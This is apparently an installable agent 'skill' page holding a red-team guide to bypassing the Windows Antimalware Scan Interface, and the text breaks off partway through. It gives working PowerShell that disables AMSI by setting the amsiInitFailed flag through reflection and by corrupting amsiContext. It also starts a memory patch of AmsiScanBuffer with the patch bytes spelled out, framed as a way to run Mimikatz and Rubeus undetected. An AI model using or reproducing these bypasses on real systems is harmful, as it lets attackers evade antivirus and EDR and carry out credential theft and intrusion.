$npx -y skills add ShulkwiSEC/bb-huge --skill amsi-bypassBypass the Windows Antimalware Scan Interface (AMSI) using memory patching, reflection, and obfuscation techniques. Execute undetected PowerShell, VBScript, JScript, and .NET assemblies in-memory without triggering Microsoft Defender or third-party AV/EDR solutions. Use this skil
| 1 | # AMSI Bypass |
| 2 | |
| 3 | ## When to Use |
| 4 | - When operating on a Windows target during a Red Team engagement where PowerShell or .NET memory execution is required, but an EDR/AV is actively inspecting script contents via AMSI. |
| 5 | - To execute tools like Mimikatz, Rubeus, SharpHound, or BloodHound directly in memory without dropping detectable binaries to disk. |
| 6 | - When standard obfuscation fails because AMSI inspects content AFTER deobfuscation at the interpreter level. |
| 7 | - When needing to load custom .NET assemblies via `Assembly.Load()` which AMSI intercepts. |
| 8 | |
| 9 | **When NOT to use**: If you need to bypass on-disk AV signature detection, use `av-edr-evasion-techniques`. For process injection after bypass, use `process-hollowing`. |
| 10 | |
| 11 | ## Prerequisites |
| 12 | - Administrative or user-level access on a Windows target (AMSI bypass doesn't always require admin) |
| 13 | - PowerShell 5.1+ or PowerShell Core on the target |
| 14 | - Understanding of x86/x64 calling conventions for patching techniques |
| 15 | - For debugging: x64dbg or WinDbg for verifying patches |
| 16 | |
| 17 | ## Workflow |
| 18 | |
| 19 | ### Phase 1: Understanding AMSI Architecture |
| 20 | |
| 21 | ```text |
| 22 | # Concept: AMSI (Antimalware Scan Interface) is a Windows API that allows applications |
| 23 | # to request AV scans of arbitrary content BEFORE it executes. |
| 24 | |
| 25 | # The scan flow: |
| 26 | # 1. User types PowerShell command → PowerShell.exe receives it |
| 27 | # 2. PowerShell calls AmsiScanBuffer() or AmsiScanString() in amsi.dll |
| 28 | # 3. amsi.dll forwards the content to registered AV providers (e.g., Defender) |
| 29 | # 4. AV returns AMSI_RESULT (Clean, Detected, etc.) |
| 30 | # 5. If Detected → PowerShell blocks execution with an error |
| 31 | |
| 32 | # Key DLL functions in amsi.dll: |
| 33 | # - AmsiInitialize() → Creates AMSI context for the application |
| 34 | # - AmsiOpenSession() → Opens a scan session |
| 35 | # - AmsiScanBuffer() → Scans raw byte buffer (PRIMARY TARGET) |
| 36 | # - AmsiScanString() → Scans string content |
| 37 | # - AmsiCloseSession() → Closes session |
| 38 | # - AmsiUninitialize() → Destroys AMSI context |
| 39 | |
| 40 | # Attack surface: If we corrupt AmsiScanBuffer() or AmsiOpenSession(), |
| 41 | # ALL subsequent scans return "clean" regardless of actual content. |
| 42 | ``` |
| 43 | |
| 44 | ### Phase 2: Reflection-Based Bypass (No Admin Required) |
| 45 | |
| 46 | ```powershell |
| 47 | # Technique 1: amsiInitFailed flag manipulation |
| 48 | # Concept: PowerShell internally tracks AMSI initialization status. |
| 49 | # If we set the internal flag 'amsiInitFailed' to True, PowerShell |
| 50 | # skips ALL AMSI scans entirely because it thinks AMSI never loaded. |
| 51 | |
| 52 | # Step 1: Get the internal type using Reflection |
| 53 | $AmsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
| 54 | |
| 55 | # Step 2: Access the private static field 'amsiInitFailed' |
| 56 | $AmsiInitFailed = $AmsiUtils.GetField('amsiInitFailed', 'NonPublic,Static') |
| 57 | |
| 58 | # Step 3: Set it to True — AMSI now thinks it failed to initialize |
| 59 | $AmsiInitFailed.SetValue($null, $true) |
| 60 | |
| 61 | # Verify: This command would normally be blocked by AMSI |
| 62 | Invoke-Expression 'Write-Host "AMSI is Bypassed — loading offensive tools..."' |
| 63 | |
| 64 | # Limitation: This specific string is now SIGNATURED by Defender. |
| 65 | # You MUST obfuscate it (see Phase 3). |
| 66 | ``` |
| 67 | |
| 68 | ```powershell |
| 69 | # Technique 2: Patching amsiContext to null |
| 70 | # Concept: Corrupt the AMSI context pointer so scans have no valid context. |
| 71 | |
| 72 | $AmsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
| 73 | $AmsiContext = $AmsiUtils.GetField('amsiContext', 'NonPublic,Static') |
| 74 | |
| 75 | # Setting context to IntPtr.Zero causes AmsiScanBuffer to fail gracefully |
| 76 | [IntPtr]$ContextPointer = $AmsiContext.GetValue($null) |
| 77 | [Runtime.InteropServices.Marshal]::WriteInt32($ContextPointer, 0x80070057) # E_INVALIDARG |
| 78 | ``` |
| 79 | |
| 80 | ### Phase 3: Memory Patching — AmsiScanBuffer (Admin Preferred) |
| 81 | |
| 82 | ```powershell |
| 83 | # Technique 3: Direct memory patching of AmsiScanBuffer |
| 84 | # Concept: Overwrite the first bytes of AmsiScanBuffer() with instructions |
| 85 | # that immediately return AMSI_RESULT_CLEAN (0x00000000) or E_INVALIDARG. |
| 86 | |
| 87 | # The patch: mov eax, 0x80070057; ret (return E_INVALIDARG immediately) |
| 88 | # Bytes: B8 57 00 07 80 C3 |
| 89 | |
| 90 | # Step 1: Get handle to amsi.dll (already loaded in PowerShell process) |
| 91 | $Kernel32 = Add-Type -MemberDefinition @' |
| 92 | [DllImport("kernel32.dll")] |
| 93 | public static extern IntPtr GetProcAddress(IntPtr hModule, |